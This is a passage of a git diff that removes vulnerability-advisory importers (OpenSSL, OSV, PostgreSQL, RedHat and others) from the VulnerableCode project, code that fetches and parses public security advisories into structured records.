get_advisories_from_md(mfsa_id, lines, advisory_url) - if file_path.endswith(".yml"): - yield from get_advisories_from_yml(mfsa_id, lines, advisory_url) - - return [] - - -def get_advisories_from_yml(mfsa_id, lines, advisory_url) -> List[AdvisoryData]: - data = yaml.safe_load(lines) - data["mfsa_id"] = mfsa_id - - affected_packages = get_affected_packages(data.get("fixed_in") or []) - references = get_yml_references(data) - - if not data.get("advisories"): - return [] - - for cve, advisory in data["advisories"].items(): - # These may contain HTML tags - summary = BeautifulSoup(advisory.get("description", ""), features="lxml").get_text() - if is_cve(cve): - yield AdvisoryData( - summary=summary, - aliases=[cve], - references=references, - affected_packages=list(affected_packages), - url=advisory_url, - ) - - -def get_advisories_from_md(mfsa_id, lines, advisory_url) -> List[AdvisoryData]: - yamltext, mdtext = split_markdown_front_matter(lines.read()) - data = yaml.safe_load(yamltext) - data["mfsa_id"] = mfsa_id - - affected_packages = get_affected_packages(data.get("fixed_in") or []) - references = get_yml_references(data) - cves = re.findall(r"CVE-\d+-\d+", yamltext + mdtext, re.IGNORECASE) - description = html_get_p_under_h3(markdown(mdtext), "description") - for cve in cves: - cve_ref = Reference( - reference_id=cve, - url=f"https://cve.mitre.org/cgi-bin/cvename.cgi?name={cve}", - ) - yield AdvisoryData( - summary=description, - aliases=[cve], - affected_packages=list(affected_packages), - references=references + [cve_ref], - url=advisory_url, - ) - - -def html_get_p_under_h3(html, h3: str): - soup = BeautifulSoup(html, features="lxml") - h3tag = soup.find("h3", text=lambda txt: txt.lower() == h3) - p = "" - if h3tag: - for tag in h3tag.next_siblings: - if tag.name: - if tag.name != "p": - break - p += tag.get_text() - return p - - -def mfsa_id_from_filename(filename): - match = MFSA_FILENAME_RE.search(filename) - if match: - return "mfsa" + match.group(1) - - return None - - -def get_affected_packages(pkgs: List[str]) -> List[PackageURL]: - for pkg in pkgs: - if not pkg: - continue - # pkg is of the form "Firefox ESR 1.21" or "Thunderbird 2.21" - name, _, version = pkg.rpartition(" ") - if version and name: - try: - # count no of "." in version - # if 3, then it is not a valid semver version - if version.count(".") == 3: - continue - fixed_version = SemverVersion(version) - yield AffectedPackage( - package=PackageURL( - type="mozilla", - name=name, - ), - fixed_version=fixed_version, - ) - except Exception: - logger.exception(f"Error parsing version {version} for {name}") - - -def get_yml_references(data: any) -> List[Reference]: - """ - Returns a list of references - Currently only considers the given mfsa as a reference - """ - # FIXME: Needs improvement - # Should we add 'bugs' section in references too? - # Should we add 'impact'/severity of CVE in references too? - # If yes, then fix alpine_linux importer as well - # Otherwise, do we need severity field for adversary as well? - - severities = ["critical", "high", "medium", "low", "none"] - severity = "none" - if data.get("impact"): - impact = data.get("impact").lower() - for s in severities: - if s in impact: - severity = s - break - - return [ - Reference( - reference_id=data["mfsa_id"], - url="https://www.mozilla.org/en-US/security/advisories/{}".format(data["mfsa_id"]), - severities=[VulnerabilitySeverity(system=severity_systems.GENERIC, value=severity)], - ) - ] diff --git a/vulnerabilities/importers/openssl.py b/vulnerabilities/importers/openssl.py deleted file mode 100644 index b71206418..000000000 --- a/vulnerabilities/importers/openssl.py +++ /dev/null @@ -1,162 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from datetime import timezone -from typing import Iterable -from urllib.parse import urljoin - -import defusedxml.ElementTree as DET -import requests -from dateutil import parser as dateparser -from packageurl import PackageURL -from univers.version_range import OpensslVersionRange -from univers.versions import OpensslVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import SCORING_SYSTEMS - -logger = logging.getLogger(__name__) - - -class OpensslImporter(Importer): - spdx_license_expression = "Apache-2.0" - license_url = "https://github.com/openssl/openssl/blob/master/LICENSE.txt" - url = "https://www.openssl.org/news/vulnerabilities.xml" - importer_name = "OpenSSL Importer" - - def fetch(self): - response = requests.get(url=self.url) - if not response.status_code == 200: - logger.error(f"Error while fetching {self.url}: {response.status_code}") - return - return response.content - - def advisory_data(self) -> Iterable[AdvisoryData]: - xml_response = self.fetch() - return parse_vulnerabilities(xml_response) - - -def parse_vulnerabilities(xml_response) -> Iterable[AdvisoryData]: - root = DET.fromstring(xml_response) - for xml_issue in root: - if xml_issue.tag == "issue": - advisory = to_advisory_data(xml_issue) - if advisory: - yield advisory - - -def to_advisory_data(xml_issue) -> AdvisoryData: - """ - Return AdvisoryData from given xml_issue - """ - - purl = PackageURL(type="openssl", name="openssl") - cve = advisory_url = severity = summary = None - safe_pkg_versions = {} - vuln_pkg_versions_by_base_version = {} - aliases = [] - references = [] - affected_packages = [] - date_published = xml_issue.attrib["public"].strip() - - for info in xml_issue: - if info.tag == "impact": - severity = VulnerabilitySeverity( - system=SCORING_SYSTEMS["generic_textual"], value=info.attrib["severity"] - ) - - elif info.tag == "advisory": - advisory_url = info.attrib["url"] - if not advisory_url.startswith("https://web.archive.org"): - advisory_url = urljoin("https://www.openssl.org", advisory_url) - - elif info.tag == "cve": - cve = info.attrib.get("name") - # use made up alias to compensate for case when advisory doesn't have CVE-ID - madeup_alias = f"VC-OPENSSL-{date_published}" - if cve: - cve = f"CVE-{cve}" - madeup_alias = f"{madeup_alias}-{cve}" - aliases.append(cve) - references.append( - Reference(reference_id=cve, url=f"https://nvd.nist.gov/vuln/detail/{cve}") - ) - aliases.append(madeup_alias) - - elif info.tag == "affects": - affected_base = info.attrib["base"] - affected_version = info.attrib["version"] - if affected_base.startswith("fips"): - logger.error( - f"{affected_base!r} is a OpenSSL-FIPS Object Module and isn't supported by OpensslImporter. Use a different importer." - ) - return - if affected_base in vuln_pkg_versions_by_base_version: - vuln_pkg_versions_by_base_version[affected_base].append(affected_version) - else: - vuln_pkg_versions_by_base_version[affected_base] = [affected_version] - - elif info.tag == "fixed": - fixed_base = info.attrib["base"] - fixed_version = info.attrib["version"] - safe_pkg_versions[fixed_base] = fixed_version - for commit in info: - commit_hash = commit.attrib["hash"] - references.append( - Reference( - url=urljoin("https://github.com/openssl/openssl/commit/", commit_hash) - ) - ) - - elif info.tag == "description": - summary = " ".join(info.text.split()) - - elif info.tag in ("reported", "problemtype", "title"): - # as of now, these info isn't useful for AdvisoryData - # for more see: https://github.com/nexB/vulnerablecode/issues/688 - continue - else: - logger.error( - f"{info.tag!r} is a newly introduced tag. Modify the importer to make use of this new info." - ) - - for base_version, affected_versions in vuln_pkg_versions_by_base_version.items(): - affected_version_range = OpensslVersionRange.from_versions(affected_versions) - fixed_version = None - if base_version in safe_pkg_versions: - fixed_version = OpensslVersion(safe_pkg_versions[base_version]) - affected_package = AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - affected_packages.append(affected_package) - - if severity and advisory_url: - references.append(Reference(url=advisory_url, severities=[severity])) - elif advisory_url: - references.append(Reference(url=advisory_url)) - - parsed_date_published = dateparser.parse(date_published, yearfirst=True).replace( - tzinfo=timezone.utc - ) - - return AdvisoryData( - aliases=aliases, - summary=summary, - affected_packages=affected_packages, - references=references, - date_published=parsed_date_published, - url=advisory_url if advisory_url else "https://www.openssl.org/news/vulnerabilities.xml", - ) diff --git a/vulnerabilities/importers/oss_fuzz.py b/vulnerabilities/importers/oss_fuzz.py deleted file mode 100644 index 63b879990..000000000 --- a/vulnerabilities/importers/oss_fuzz.py +++ /dev/null @@ -1,47 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import logging -from pathlib import Path -from typing import Iterable - -import saneyaml - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importers.osv import parse_advisory_data -from vulnerabilities.utils import get_advisory_url - -logger = logging.getLogger(__name__) - - -class OSSFuzzImporter(Importer): - license_url = "https://github.com/google/oss-fuzz-vulns/blob/main/LICENSE" - spdx_license_expression = "CC-BY-4.0" - url = "git+https://github.com/google/oss-fuzz-vulns" - importer_name = "OSS Fuzz Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.clone(repo_url=self.url) - base_path = Path(self.vcs_response.dest_dir) - path = base_path / "vulns" - for file in path.glob("**/*.yaml"): - with open(file) as f: - yaml_data = saneyaml.load(f.read()) - advisory_url = get_advisory_url( - file=file, - base_path=base_path, - url="https://github.com/pypa/advisory-database/blob/main/", - ) - yield parse_advisory_data( - yaml_data, supported_ecosystems=["oss-fuzz"], advisory_url=advisory_url - ) - finally: - if self.vcs_response: - self.vcs_response.delete() diff --git a/vulnerabilities/importers/osv.py b/vulnerabilities/importers/osv.py deleted file mode 100644 index 3658c57b3..000000000 --- a/vulnerabilities/importers/osv.py +++ /dev/null @@ -1,331 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import logging -from typing import Iterable -from typing import List -from typing import Optional - -import dateparser -from cvss.exceptions import CVSS3MalformedError -from cvss.exceptions import CVSS4MalformedError -from packageurl import PackageURL -from univers.version_range import RANGE_CLASS_BY_SCHEMES -from univers.versions import InvalidVersion -from univers.versions import SemverVersion -from univers.versions import Version - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import AffectedPackageV2 -from vulnerabilities.importer import Reference -from vulnerabilities.importer import ReferenceV2 -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.severity_systems import SCORING_SYSTEMS -from vulnerabilities.utils import build_description -from vulnerabilities.utils import dedupe -from vulnerabilities.utils import get_cwe_id - -logger = logging.getLogger(__name__) - -PURL_TYPE_BY_OSV_ECOSYSTEM = { - "npm": "npm", - "pypi": "pypi", - "maven": "maven", - "nuget": "nuget", - "packagist": "composer", - "rubygems": "gem", - "go": "golang", - "hex": "hex", - "cargo": "cargo", -} - - -def parse_advisory_data( - raw_data: dict, supported_ecosystems, advisory_url: str -) -> Optional[AdvisoryData]: - """ - Return an AdvisoryData build from a ``raw_data`` mapping of OSV advisory and - a ``supported_ecosystem`` string. - """ - raw_id = raw_data.get("id") or "" - summary = raw_data.get("summary") or "" - details = raw_data.get("details") or "" - summary = build_description(summary=summary, description=details) - aliases = raw_data.get("aliases") or [] - if raw_id: - aliases.append(raw_id) - aliases = dedupe(original=aliases) - - date_published = get_published_date(raw_data=raw_data) - severities = list(get_severities(raw_data=raw_data)) - references = get_references(raw_data=raw_data, severities=severities) - - affected_packages = [] - - for affected_pkg in raw_data.get("affected") or []: - purl = get_affected_purl(affected_pkg=affected_pkg, raw_id=raw_id) - - if not purl or purl.type not in supported_ecosystems: - logger.error(f"Unsupported package type: {affected_pkg!r} in OSV: {raw_id!r}") - continue - - affected_version_range = get_affected_version_range( - affected_pkg=affected_pkg, - raw_id=raw_id, - supported_ecosystem=purl.type, - ) - - for fixed_range in affected_pkg.get("ranges") or []: - fixed_version = get_fixed_versions( - fixed_range=fixed_range, raw_id=raw_id, supported_ecosystem=purl.type - ) - - for version in fixed_version: - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - fixed_version=version, - ) - ) - database_specific = raw_data.get("database_specific") or {} - cwe_ids = database_specific.get("cwe_ids") or [] - weaknesses = list(map(get_cwe_id, cwe_ids)) - - return AdvisoryData( - aliases=aliases, - summary=summary, - references=references, - affected_packages=affected_packages, - date_published=date_published, - weaknesses=weaknesses, - url=advisory_url, - ) - - -def extract_fixed_versions(fixed_range) -> Iterable[str]: - """ - Return a list of fixed version strings given a ``fixed_range`` mapping of - OSV data. - - >>> list(extract_fixed_versions( - ... {"type": "SEMVER", "events": [{"introduced": "0"},{"fixed": "1.6.0"}]})) - ['1.6.0'] - - >>> list(extract_fixed_versions( - ... {"type": "ECOSYSTEM","events":[{"introduced": "0"}, - ... {"fixed": "1.0.0"},{"fixed": "9.0.0"}]})) - ['1.0.0', '9.0.0'] - """ - for event in fixed_range.get("events") or []: - fixed = event.get("fixed") - if fixed: - yield fixed - - -def get_published_date(raw_data): - published = raw_data.get("published") - return published and dateparser.parse(date_string=published) - - -def get_severities(raw_data) -> Iterable[VulnerabilitySeverity]: - """ - Yield VulnerabilitySeverity extracted from a mapping of OSV ``raw_data`` - """ - try: - for severity in raw_data.get("severity") or []: - vector = severity.get("score") - valid_vector = vector[:-1] if vector and vector.endswith("/") else vector - - if severity.get("type") == "CVSS_V3": - system = SCORING_SYSTEMS["cvssv3.1"] - score = system.compute(valid_vector) - yield VulnerabilitySeverity(system=system, value=score, scoring_elements=vector) - - elif severity.get("type") == "CVSS_V4": - system = SCORING_SYSTEMS["cvssv4"] - score = system.compute(valid_vector) - yield VulnerabilitySeverity(system=system, value=score, scoring_elements=vector) - - else: - logger.error( - f"Unsupported severity type: {severity!r} for OSV id: {raw_data.get('id')!r}" - ) - except (CVSS3MalformedError, CVSS4MalformedError) as e: - logger.error(f"Invalid severity {e}") - - ecosystem_specific = raw_data.get("ecosystem_specific") or {} - severity = ecosystem_specific.get("severity") - if severity: - yield VulnerabilitySeverity( - system=SCORING_SYSTEMS["generic_textual"], - value=severity, - ) - - database_specific = raw_data.get("database_specific") or {} - severity = database_specific.get("severity") - if severity: - yield VulnerabilitySeverity( - system=SCORING_SYSTEMS["generic_textual"], - value=severity, - ) - - -def get_references(raw_data, severities) -> List[Reference]: - """ - Return a list Reference extracted from a mapping of OSV ``raw_data`` given a - ``severities`` list of VulnerabilitySeverity. - """ - references = [] - for ref in raw_data.get("references") or []: - if not ref: - continue - url = ref["url"] - if not url: - logger.error(f"Reference without URL : {ref!r} for OSV id: {raw_data['id']!r}") - continue - references.append(Reference(url=ref["url"], severities=severities)) - return references - - -def get_references_v2(raw_data) -> List[Reference]: - """ - Return a list Reference extracted from a mapping of OSV ``raw_data`` given a - ``severities`` list of VulnerabilitySeverity. - """ - references = [] - for ref in raw_data.get("references") or []: - if not ref: - continue - url = ref["url"] - if not url: - logger.error(f"Reference without URL : {ref!r} for OSV id: {raw_data['id']!r}") - continue - references.append(ReferenceV2(url=ref["url"])) - return references - - -def get_affected_purl(affected_pkg, raw_id): - """ - Return an affected PackageURL or None given a mapping of ``affected_pkg`` - data and a ``raw_id``. - """ - package = affected_pkg.get("package") or {} - purl = package.get("purl") - if purl: - try: - purl = PackageURL.from_string(purl) - except ValueError: - logger.error( - f"Invalid PackageURL: {purl!r} for OSV " - f"affected_pkg {affected_pkg} and id: {raw_id}" - ) - else: - ecosys = package.get("ecosystem") - name = package.get("name") - if ecosys and name: - ecosys = ecosys.lower() - purl_type = PURL_TYPE_BY_OSV_ECOSYSTEM.get(ecosys) - if not purl_type: - return - namespace = "" - if purl_type == "maven": - namespace, _, name = name.partition(":") - - purl = PackageURL(type=purl_type, namespace=namespace, name=name) - else: - logger.error( - f"No PackageURL possible: {purl!r} for affected_pkg {affected_pkg} for OSV id: {raw_id}" - ) - return - try: - package_url = PackageURL.from_string(str(purl)) - return package_url - except: - logger.error( - f"Invalid PackageURL: {purl!r} for affected_pkg {affected_pkg} for OSV id: {raw_id}" - ) - return None - - -def get_affected_version_range(affected_pkg, raw_id, supported_ecosystem): - """ - Return a univers VersionRange for the ``affected_pkg`` package data mapping - or None. Use a ``raw_id`` OSV id and ``supported_ecosystem``. - """ - affected_versions = affected_pkg.get("versions") - if affected_versions: - try: - return RANGE_CLASS_BY_SCHEMES[supported_ecosystem].from_versions(affected_versions) - except Exception as e: - logger.error( - f"Invalid VersionRange for affected_pkg: {affected_pkg} " - f"for OSV id: {raw_id!r}: error:{e!r}" - ) - - -def get_fixed_version_range(versions, ecosystem): - try: - return RANGE_CLASS_BY_SCHEMES[ecosystem].from_versions(versions) - except Exception as e: - logger.error(f"Failed to create VersionRange from: {versions}: error:{e!r}") - - -def get_fixed_versions(fixed_range, raw_id, supported_ecosystem) -> List[Version]: - """ - Return a list of unique fixed univers Versions given a ``fixed_range`` - univers VersionRange and a ``raw_id``. - For example:: - >>> get_fixed_versions(fixed_range={}, raw_id="GHSA-j3f7-7rmc-6wqj", supported_ecosystem="pypi",) - [] - >>> get_fixed_versions( - ... fixed_range={"type": "ECOSYSTEM", "events": [{"fixed": "1.7.0"}], }, - ... raw_id="GHSA-j3f7-7rmc-6wqj", - ... supported_ecosystem="pypi", - ... ) - [PypiVersion(string='1.7.0')] - """ - fixed_versions = [] - if "type" not in fixed_range: - logger.error(f"Invalid fixed_range type for: {fixed_range} for OSV id: {raw_id!r}") - return [] - - fixed_range_type = fixed_range["type"] - - version_range_class = RANGE_CLASS_BY_SCHEMES.get(supported_ecosystem) - version_class = version_range_class.version_class if version_range_class else None - - for version in extract_fixed_versions(fixed_range): - if fixed_range_type == "ECOSYSTEM": - try: - if not version_class: - raise InvalidVersion( - f"Unsupported version for ecosystem: {supported_ecosystem}" - ) - fixed_versions.append(version_class(version)) - except InvalidVersion: - logger.error( - f"Invalid version class: {version_class} - {version!r} for OSV id: {raw_id!r}" - ) - - elif fixed_range_type == "SEMVER": - try: - fixed_versions.append(SemverVersion(version)) - except InvalidVersion: - logger.error(f"Invalid SemverVersion: {version!r} for OSV id: {raw_id!r}") - else: - logger.error(f"Unsupported fixed version type: {version!r} for OSV id: {raw_id!r}") - - # if fixed_range_type == "GIT": - # TODO add GitHubVersion univers fix_version - # logger.error(f"NotImplementedError GIT Version - {raw_id !r} - {i !r}") - - return dedupe(fixed_versions) diff --git a/vulnerabilities/importers/postgresql.py b/vulnerabilities/importers/postgresql.py deleted file mode 100644 index 6044dddaa..000000000 --- a/vulnerabilities/importers/postgresql.py +++ /dev/null @@ -1,143 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import urllib.parse as urlparse - -import requests -from bs4 import BeautifulSoup -from packageurl import PackageURL -from univers.version_range import GenericVersionRange -from univers.versions import GenericVersion - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity - - -class PostgreSQLImporter(Importer): - - root_url = "https://www.postgresql.org/support/security/" - license_url = "https://www.postgresql.org/about/licence/" - spdx_license_expression = "PostgreSQL" - importer_name = "PostgreSQL Importer" - - def advisory_data(self): - known_urls = {self.root_url} - visited_urls = set() - data_by_url = {} - while True: - unvisited_urls = known_urls - visited_urls - for url in unvisited_urls: - data = requests.get(url).content - data_by_url[url] = data - visited_urls.add(url) - known_urls.update(find_advisory_urls(data)) - - if known_urls == visited_urls: - break - - for url, data in data_by_url.items(): - yield from to_advisories(data) - - -def to_advisories(data): - advisories = [] - soup = BeautifulSoup(data, features="lxml") - table = soup.select("table")[0] - for row in table.select("tbody tr"): - ref_col, affected_col, fixed_col, severity_score_col, desc_col = row.select("td") - summary = desc_col.text - pkg_qualifiers = {} - if "windows" in summary.lower(): - pkg_qualifiers = {"os": "windows"} - - affected_packages = [] - affected_version_list = affected_col.text.split(",") - fixed_version_list = fixed_col.text.split(",") - - if fixed_version_list: - for fixed_version in fixed_version_list: - affected_packages.append( - AffectedPackage( - package=PackageURL( - name="postgresql", - # TODO: See https://github.com/nexB/vulnerablecode/issues/990 - type="generic", - qualifiers=pkg_qualifiers, - ), - affected_version_range=( - GenericVersionRange.from_versions(affected_version_list) - if affected_version_list - else None - ), - fixed_version=GenericVersion(fixed_version) if fixed_version else None, - ) - ) - elif affected_version_list: - affected_packages.append( - AffectedPackage( - package=PackageURL( - name="postgresql", - # TODO: See https://github.com/nexB/vulnerablecode/issues/990 - type="generic", - qualifiers=pkg_qualifiers, - ), - affected_version_range=GenericVersionRange.from_versions(affected_version_list), - ) - ) - cve_id = "" - try: - cve_id = ref_col.select(".nobr")[0].text - # This is for the anomaly in https://www.postgresql.org/support/security/8.1/ 's - # last entry - except IndexError: - pass - - references = [] - vector_link_tag = severity_score_col.find("a") - for a_tag in ref_col.select("a"): - link = a_tag.attrs["href"] - if link.startswith("/"): - # Convert relative urls to absolute url. - # All links qualify this criteria, so this `if` statement is kind of a defensive mechanism - link = urlparse.urljoin("https://www.postgresql.org/", link) - severities = [] - if "support/security/CVE" in link and vector_link_tag: - parsed_link = urlparse.urlparse(vector_link_tag["href"]) - cvss3_vector = urlparse.parse_qs(parsed_link.query)["vector"] - cvss3_base_score = vector_link_tag.text - severity = VulnerabilitySeverity( - system=severity_systems.CVSSV3, - value=cvss3_base_score, - scoring_elements=cvss3_vector, - ) - severities.append(severity) - references.append(Reference(url=link, severities=severities)) - if cve_id: - advisories.append( - AdvisoryData( - aliases=[cve_id], - summary=summary, - references=references, - affected_packages=affected_packages, - url=f"https://www.postgresql.org/support/security/{cve_id}", - ) - ) - return advisories - - -def find_advisory_urls(page_data): - soup = BeautifulSoup(page_data, features="lxml") - return { - urlparse.urljoin("https://www.postgresql.org/", a_tag.attrs["href"]) - for a_tag in soup.select("h3+ p a") - } diff --git a/vulnerabilities/importers/project_kb_msr2019.py b/vulnerabilities/importers/project_kb_msr2019.py deleted file mode 100644 index a006b1353..000000000 --- a/vulnerabilities/importers/project_kb_msr2019.py +++ /dev/null @@ -1,46 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import fetch_and_read_from_csv -from vulnerabilities.utils import is_cve - -# Reading CSV file from a url using `requests` is bit too complicated. -# Use `urllib.request` for that purpose. - - -class ProjectKBMSRImporter(Importer): - - url = "https://raw.githubusercontent.com/SAP/project-kb/master/MSR2019/dataset/vulas_db_msr2019_release.csv" - spdx_license_expression = "Apache-2.0" - license_url = "https://github.com/SAP/project-kb/blob/main/LICENSE.txt" - importer_name = "ProjectKB MSRImporter" - - def advisory_data(self): - raw_data = fetch_and_read_from_csv(self.url) - yield from self.to_advisories(raw_data) - - def to_advisories(self, csv_reader): - # Project KB MSR csv file has no header row - for row in csv_reader: - vuln_id, proj_home, fix_commit, _ = row - commit_link = proj_home + "/commit/" + fix_commit - - if not is_cve(vuln_id): - continue - - reference = Reference(url=commit_link) - yield AdvisoryData( - aliases=[vuln_id], - summary="", - references=[reference], - url=self.url, - ) diff --git a/vulnerabilities/importers/redhat.py b/vulnerabilities/importers/redhat.py deleted file mode 100644 index 4e4682f18..000000000 --- a/vulnerabilities/importers/redhat.py +++ /dev/null @@ -1,164 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -import re -from typing import Dict -from typing import Iterable -from typing import List - -import requests -from packageurl import PackageURL -from univers.version_range import RpmVersionRange - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.rpm_utils import rpm_to_purl -from vulnerabilities.utils import get_cwe_id -from vulnerabilities.utils import get_item -from vulnerabilities.utils import requests_with_5xx_retry - -logger = logging.getLogger(__name__) - -# FIXME: we should use a centralized retry -requests_session = requests_with_5xx_retry(max_retries=5, backoff_factor=1) - - -def fetch_cves() -> Iterable[List[Dict]]: - page_no = 1 - cve_data = None - while True: - current_url = f"https://access.redhat.com/hydra/rest/securitydata/cve.json?per_page=1000&page={page_no}" # nopep8 - try: - response = requests_session.get(current_url) - if response.status_code != requests.codes.ok: - logger.error(f"Failed to fetch RedHat CVE results from {current_url}") - break - cve_data = response.json() - except Exception as e: - logger.error(f"Failed to fetch RedHat CVE results from {current_url} {e}") - break - if not cve_data: - break - page_no += 1 - yield cve_data - - -def get_data_from_url(url): - try: - return requests_session.get(url).json() - except Exception as e: - logger.error(f"Failed to fetch results from {url} {e!r}") - return {} - - -class RedhatImporter(Importer): - spdx_license_expression = "CC-BY-4.0" - license_url = "https://access.redhat.com/documentation/en-us/red_hat_security_data_api/1.0/html/red_hat_security_data_api/legal-notice" - importer_name = "RedHat Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - for redhat_cves in fetch_cves(): - for redhat_cve in redhat_cves: - yield to_advisory(redhat_cve) - - -def to_advisory(advisory_data): - affected_packages: List[AffectedPackage] = [] - for rpm in advisory_data.get("affected_packages") or []: - purl = rpm_to_purl(rpm_string=rpm, namespace="redhat") - if purl: - try: - affected_version_range = RpmVersionRange.from_versions(sequence=[purl.version]) - affected_packages.append( - AffectedPackage( - package=PackageURL( - type=purl.type, - name=purl.name, - namespace=purl.namespace, - qualifiers=purl.qualifiers, - subpath=purl.subpath, - ), - affected_version_range=affected_version_range, - fixed_version=None, - ) - ) - except Exception as e: - logger.error(f"Failed to parse version range {purl.version} for {purl} {e}") - - references = [] - bugzilla = advisory_data.get("bugzilla") - if bugzilla: - url = "https://bugzilla.redhat.com/show_bug.cgi?id={}".format(bugzilla) - references.append( - Reference( - url=url, - reference_id=bugzilla, - ) - ) - - for rh_adv in advisory_data.get("advisories") or []: - # RH provides 3 types of advisories RHSA, RHBA, RHEA. Only RHSA's contain severity score. - # See https://access.redhat.com/articles/2130961 for more details. - - if not isinstance(rh_adv, str): - logger.error(f"Invalid advisory type {rh_adv}") - continue - - if "RHSA" in rh_adv.upper(): - references.append( - Reference( - url="https://access.redhat.com/errata/{}".format(rh_adv), - reference_id=rh_adv, - ) - ) - - else: - references.append(Reference(severities=[], url=url, reference_id=rh_adv)) - - redhat_scores = [] - cvssv3_score = advisory_data.get("cvss3_score") - cvssv3_vector = advisory_data.get("cvss3_scoring_vector", "") - if cvssv3_score: - redhat_scores.append( - VulnerabilitySeverity( - system=severity_systems.CVSSV3, - value=cvssv3_score, - scoring_elements=cvssv3_vector, - ) - ) - cwe_list = [] - # cwe_string : CWE-409","CWE-121->CWE-787","(CWE-401|CWE-404)","(CWE-190|CWE-911)->CWE-416" - cwe_string = advisory_data.get("CWE") - if cwe_string: - cwe_list = list(map(get_cwe_id, re.findall("CWE-[0-9]+", cwe_string))) - - aliases = [] - alias = advisory_data.get("CVE") - if alias: - aliases.append(alias) - resource_url = advisory_data.get("resource_url") - if resource_url: - references.append(Reference(severities=redhat_scores, url=resource_url)) - return AdvisoryData( - aliases=aliases, - summary=advisory_data.get("bugzilla_description") or "", - affected_packages=affected_packages, - references=references, - weaknesses=cwe_list, - url=( - resource_url - if resource_url - else "https://access.redhat.com/hydra/rest/securitydata/cve.json" - ), - ) diff --git a/vulnerabilities/importers/retiredotnet.py b/vulnerabilities/importers/retiredotnet.py deleted file mode 100644 index 139ecd1af..000000000 --- a/vulnerabilities/importers/retiredotnet.py +++ /dev/null @@ -1,99 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import re -from pathlib import Path -from typing import Iterable -from typing import List - -from packageurl import PackageURL -from univers.version_range import NugetVersionRange -from univers.versions import NugetVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import Reference -from vulnerabilities.utils import get_advisory_url - - -class RetireDotnetImporter(Importer): - license_url = "https://github.com/RetireNet/Packages/blob/master/LICENSE" - spdx_license_expression = "MIT" - repo_url = "git+https://github.com/RetireNet/Packages/" - importer_name = "RetireDotNet Importer" - - def advisory_data(self) -> Iterable[AdvisoryData]: - try: - self.clone(repo_url=self.repo_url) - base_path = Path(self.vcs_response.dest_dir) - - vuln = base_path / "Content" - for file in vuln.glob("*.json"): - advisory = self.process_file(file, base_path) - if advisory: - yield advisory - finally: - if self.vcs_response: - self.vcs_response.delete() - - @staticmethod - def vuln_id_from_desc(desc): - cve_regex = re.compile(r"CVE-\d+-\d+") - res = cve_regex.search(desc) - if res: - return desc[res.start() : res.end()] - else: - return None - - def process_file(self, file, base_path) -> List[AdvisoryData]: - advisory_url = get_advisory_url( - file=file, base_path=base_path, url="https://github.com/RetireNet/Packages/blob/master/" - ) - with open(file) as f: - json_doc = json.load(f) - description = json_doc.get("description") or "" - alias = self.vuln_id_from_desc(description) - affected_packages = [] - for pkg in json_doc.get("packages") or []: - name = pkg.get("id") 